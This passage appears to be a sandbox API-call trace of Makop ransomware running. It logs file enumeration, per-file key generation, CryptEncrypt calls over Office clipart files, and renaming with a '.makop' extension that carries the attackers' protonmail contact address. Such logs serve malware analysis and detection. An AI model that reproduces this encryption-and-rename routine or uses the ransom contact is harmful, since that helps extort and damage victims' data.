lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.639] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeb4, lpOverlapped=0x0) returned 1 [0114.639] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xec0, dwBufLen=0xec0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xec0) returned 1 [0114.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xec0, lpOverlapped=0x0) returned 1 [0114.640] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.640] SetEndOfFile (hFile=0xf0) returned 1 [0114.647] GetProcessHeap () returned 0x48a0000 [0114.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.647] GetProcessHeap () returned 0x48a0000 [0114.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.647] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.648] CloseHandle (hObject=0xf0) returned 1 [0114.648] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0114.648] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0114.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.650] GetProcessHeap () returned 0x48a0000 [0114.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.650] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.654] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.654] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.654] GetProcessHeap () returned 0x48a0000 [0114.655] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.655] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.655] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.655] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.655] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.655] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.655] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.655] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.656] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.656] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.656] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.656] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9a8, lpOverlapped=0x0) returned 1 [0114.656] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b0) returned 1 [0114.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.656] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9b0, lpOverlapped=0x0) returned 1 [0114.656] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.657] SetEndOfFile (hFile=0xf0) returned 1 [0114.663] GetProcessHeap () returned 0x48a0000 [0114.664] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.664] GetProcessHeap () returned 0x48a0000 [0114.664] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.664] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.665] CloseHandle (hObject=0xf0) returned 1 [0114.665] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0114.665] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0114.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.667] GetProcessHeap () returned 0x48a0000 [0114.667] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.667] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.671] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.671] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.671] GetProcessHeap () returned 0x48a0000 [0114.671] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.671] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.671] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.672] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.673] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.673] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.673] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b8, lpOverlapped=0x0) returned 1 [0114.674] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0114.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0114.674] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.674] SetEndOfFile (hFile=0xf0) returned 1 [0114.680] GetProcessHeap () returned 0x48a0000 [0114.680] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.681] GetProcessHeap () returned 0x48a0000 [0114.681] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.681] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.690] CloseHandle (hObject=0xf0) returned 1 [0114.691] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0114.691] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0114.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.692] GetProcessHeap () returned 0x48a0000 [0114.692] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.692] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0114.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.696] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.696] GetProcessHeap () returned 0x48a0000 [0114.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.696] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.696] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.696] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.698] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.698] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x402, lpOverlapped=0x0) returned 1 [0114.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x410, dwBufLen=0x410 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x410) returned 1 [0114.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x410, lpOverlapped=0x0) returned 1 [0114.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.699] SetEndOfFile (hFile=0xf0) returned 1 [0114.705] GetProcessHeap () returned 0x48a0000 [0114.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0114.706] GetProcessHeap () returned 0x48a0000 [0114.706] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.706] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.707] CloseHandle (hObject=0xf0) returned 1 [0114.707] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0114.707] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0114.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.708] GetProcessHeap () returned 0x48a0000 [0114.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0114.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.713] GetProcessHeap () returned 0x48a0000 [0114.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0114.713] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.714] SetFilePointerEx (in: hFile=0xf0, 